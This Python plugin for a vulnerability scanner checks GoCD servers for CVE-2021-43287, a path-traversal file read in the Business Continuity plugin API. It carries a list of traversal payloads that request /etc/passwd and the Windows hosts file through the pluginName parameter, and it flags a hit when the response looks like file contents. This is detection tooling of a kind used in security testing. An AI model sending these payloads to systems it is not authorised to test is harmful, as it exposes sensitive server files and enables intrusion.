#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
GoCD是一个开源的持续集成和持续交付系统，可以在持续交付过程中执行编译，自动化测试，自动部署等等
    GoCD Business Continuity 任意文件读取漏洞
        CVE-2021-43287
            Payload: http://wiki.peiqi.tech/wiki/webserver/GoCD/GoCD%20plugin%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2021-43287.html
                     https://avd.aliyun.com/detail?id=AVD-2021-43287

GoCD plugin API 参数中的pluginName参数存在任意文件读取漏洞
    导致攻击者可以获取服务器中的任意敏感信息
'''

from lib.tool import check
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            {'path': 'go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/passwd'},
            {'path': 'add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/passwd'},
            {'path': 'business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/passwd'},
            {'path': 'go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../C:/Windows/System32/drivers/etc/hosts'},
            {'path': 'add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../C:/Windows/System32/drivers/etc/hosts'},
            {'path': 'business-continuity/api/plugin?folderName=&pluginName=../../../../../../C:/Windows/System32/drivers/etc/hosts'},
            # {'path': 'go/add-on/business-continuity/api/plugin?folderName=&pluginName=..\\..\\..\\..\\..\\..\\C:\\Windows\\System32\\drivers\\etc\\hosts'},
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        
        vul_info = {
            'app_name': 'GoCD',
            'vul_type': 'FileRead',
            'vul_id': 'CVE-2021-43287',
        }
        
        for payload in self.payloads:
            path = payload['path']

            res = client.request(
                'get',
                path,
                allow_redirects=False,
                vul_info=vul_info
            )
            if res is None:
                continue

            if (check.check_res_fileread(res.text)):
                results = {
                    'Target': res.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
